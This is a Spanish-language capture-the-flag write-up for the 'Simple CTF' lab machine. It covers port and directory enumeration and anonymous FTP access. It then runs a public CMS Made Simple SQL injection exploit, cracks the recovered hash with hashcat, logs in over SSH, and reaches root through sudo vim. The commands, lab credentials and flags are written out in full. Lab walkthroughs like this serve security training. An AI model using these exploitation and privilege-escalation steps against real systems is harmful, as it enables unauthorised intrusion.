# **Simple Capture the Flag**



30/10/2021

#### **Enumeration**

#### **Whatweb**

#### whatweb 10.10.47.122

http://10.10.187.209 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.187.209], Title[Apache2 Ubuntu Default Page: It works]

# WhichSystem.py

# mediante el tty, sabemos que es una maquina Linux

whichSystem.py 10.10.47.122

10.10.187.209 (ttl -> 61): Linux

#### nmap

sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.47.122

```
21/tcp open ftp syn-ack ttl 61
80/tcp open http syn-ack ttl 61
```

ademas encontramos un puerto 2222 que es un ssh

### descubrimos dos puertos

lanzaremos scripts basicos de reconocimiento y detectar la version

#### sudo nmap -sC -sV -p21,80,2222 10.10.47.122

```
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
  STAT:
 FTP server status:
   Connected to ::ffff:10.13.14.123
    Logged in as ftp
   TYPE: ASCII
    No session bandwidth limit
   Session timeout in seconds is 300
    Control connection is plain text
    Data connections will be plain text
    At session startup, client count was 4
    vsFTPd 3.0.3 - secure, fast, stable
| End of status
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_//openemr-5_0_1 3
|_http-server-header: Apache/2.4.18 (Ubuntu)
_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
I ssh-hostkey:
2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

descubrimos que podemos acceder al ftp como anonymous

## tratamos de acceder al ftp

#### ftp 10.10.47.122

Name (10.10.187.209:solo): Anonymous

#### ftp>ls

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

drwxr-xr-x 2 ftp ftp 4096 Aug 17 2019 pub

226 Directory send OK.

#### ftp> cd pub

250 Directory successfully changed.

#### ftp> Is

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

-rw-r--r- 1 ftp ftp 166 Aug 17 2019 ForMitch.txt

226 Directory send OK.

# Descargamos el archivo encontrado

ftp> get ForMitch.txt

#### el archivo dice

Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

Maldita sea, hombre... eres el peor desarrollador que he visto. Pusiste el mismo pase para el usuario del sistema, y la contraseña es tan débil... la descifré en segundos. Dios... ¡qué desastre!

#### ademas de esto lanzaremos un reconocimiento de vulnerabilidades

sudo nmap --script=vuln -p21,80,2222 10.10.47.122 -oN Vulnerabiidades

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|\_Can't get directory listing: TIMEOUT

| ftp-syst: | STAT:

| FTP server status:

Connected to ::ffff:10.13.14.123

Logged in as ftp

TYPE: ASCII

No session bandwidth limit

Session timeout in seconds is 300

Control connection is plain text
Data connections will be plain text

At session startup, client count was 2

vsFTPd 3.0.3 - secure, fast, stable

|\_End of status

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

http-robots.txt: 2 disallowed entries

|\_//openemr-5\_0\_1\_3

|\_http-server-header: Apache/2.4.18 (Ubuntu)

|\_http-title: Apache2 Ubuntu Default Page: It works

2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

ssh-hostkey:

2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)

256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)

\_\_\_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Oct 30 20:41:52 2021 -- 1 IP address (1 host up) scanned in 40.31 seconds

no nos dice nada, pero probablemente hay más directorios

#### Gobuster

usamos gobuster para encontrar directorios

gobuster dir -u http://10.10.187.209 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,js,css,py

- + http://10.10.187.209/index.html (CODE:200|SIZE:11321)
- + http://10.10.187.209/robots.txt (CODE:200|SIZE:929)
- + http://10.10.187.209/server-status (CODE:403|SIZE:301)
- ==> DIRECTORY: http://10.10.187.209/simple/
- ---- Entering directory: http://10.10.187.209/simple/ ----
- ==> DIRECTORY: http://10.10.187.209/simple/admin/
- ==> DIRECTORY: http://10.10.187.209/simple/assets/
- + http://10.10.187.209/simple/index.php (CODE:200|SIZE:19993)
- ==> DIRECTORY: http://10.10.187.209/simple/lib/
- => DIRECTORY: http://10.10.187.209/simple/modules/

encontramos varios directorios, pero el que más nos hizo poner atención fue el /simple/ y /admin/

analizando el directorio /admin/ podemos notar que usa

CMS Made Simple version 2.2.8

buscamos una vulnerabilidad que podamos explotar searchsploit "CMS 2.2.8"

#### y encontramos

CMS Made Simple < 2.2.10 - SQL Injection

| php/webapps/46635.py

este exploit crackea el admin password que anteriormente habíamos encontrado en los directorio

ejecutamos el exploit

python3 46635.py -u http://10.10.47.122/simple/ --crack -w /usr/share/seclists/Passwords/Common-Credentials/best110.txt

encontramos las siguientes credenciales

- [+] Salt for password found: 1dac0d92e9fa6bb2
- [+] Username found: mitch
- $[+] \ Email \ found: admin@admin.com$
- [+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96

#### lo crackeamos con hashcat

hashcat -O -a 0 -m 20 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/seclists/Passwords/Common-Credentials/best110.txt

# Obteniendo acceso a usuario normal

ingresamos a la consola admin con las credenciales encontradas http://10.10.47.122/simple/admin/login.php

user: mitch password: secret

y tenemos exito

también entramos al ssh con las mismas credenciales

ssh mitch@10.10.47.122 -p 2222

cd mitch/
Is
user.txt
cat user.txt
obetenemos la bandera
G00d j0b, keep up!

# **Explotation**

ahora buscamos algun tipo de escalada de privilegios encontramos otro usuario

sunbath

ejecutando el siguiente comando podemos escalar privilegios



User mitch may run the following commands on Machine: (root) NOPASSWD: /usr/bin/vim

ejecutando el siguiente comando podemos escalar privilegios

## Obteniendo acceso a usuario root

para escalar privilegios en vim nos iremos a

ejecutamos

sudo vim -c ':!/bin/sh'

tenemos acceso con escalada de privilegios

cd root/

ls

root.txt

cat root.txt

obetenemos la bandera W3ll d0n3. You made it!